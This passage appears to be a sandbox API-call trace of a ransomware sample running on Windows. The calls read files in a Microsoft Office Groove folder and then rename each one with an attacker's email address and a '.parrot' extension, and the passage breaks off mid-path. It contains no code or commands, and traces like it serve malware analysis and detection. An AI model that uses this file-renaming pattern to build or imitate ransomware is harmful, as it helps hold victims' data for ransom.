SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.646] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.648] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.648] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x193c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x193c, lpOverlapped=0x0) returned 1 [0191.658] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.667] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.667] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.669] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.669] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c64, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3c64, lpOverlapped=0x0) returned 1 [0191.670] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.674] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.674] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.675] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.675] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x171, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x171, lpOverlapped=0x0) returned 1 [0191.675] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.681] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.681] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.682] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.682] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x176, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x176, lpOverlapped=0x0) returned 1 [0191.682] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.686] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.686] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.687] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.687] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb5, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xb5, lpOverlapped=0x0) returned 1 [0191.687] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.691] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.691] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.692] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.692] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xb7, lpOverlapped=0x0) returned 1 [0191.692] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.696] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.696] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.697] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.697] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x171, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x171, lpOverlapped=0x0) returned 1 [0191.697] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.701] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.701] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.705] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.705] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x244, lpOverlapped=0x0) returned 1 [0191.705] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.709] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.709] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.710] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.710] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x383, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x383, lpOverlapped=0x0) returned 1 [0191.711] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\calendar.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\CALENDAR.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\calendar.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.714] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.714] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.715] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.715] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x271, lpOverlapped=0x0) returned 1 [0191.716] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\delete.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\DELETE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\delete.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.720] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.720] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.721] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.722] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x369, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x369, lpOverlapped=0x0) returned 1 [0191.722] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\error.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ERROR.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\error.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.726] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.726] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.727] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.727] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13e, lpOverlapped=0x0) returned 1 [0191.727] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.732] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.732] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.734] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.734] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x135f4, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x135f4, lpOverlapped=0x0) returned 1 [0191.737] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.744] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.744] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.745] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.745] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x45f, lpOverlapped=0x0) returned 1 [0191.746] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.750] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.750] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.751] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.751] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x852, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x852, lpOverlapped=0x0) returned 1 [0191.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.756] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.756] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.757] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.757] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ef, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2ef, lpOverlapped=0x0) returned 1 [0191.758] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.762] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.763] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.763] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x115a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x115a, lpOverlapped=0x0) returned 1 [0191.764] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft 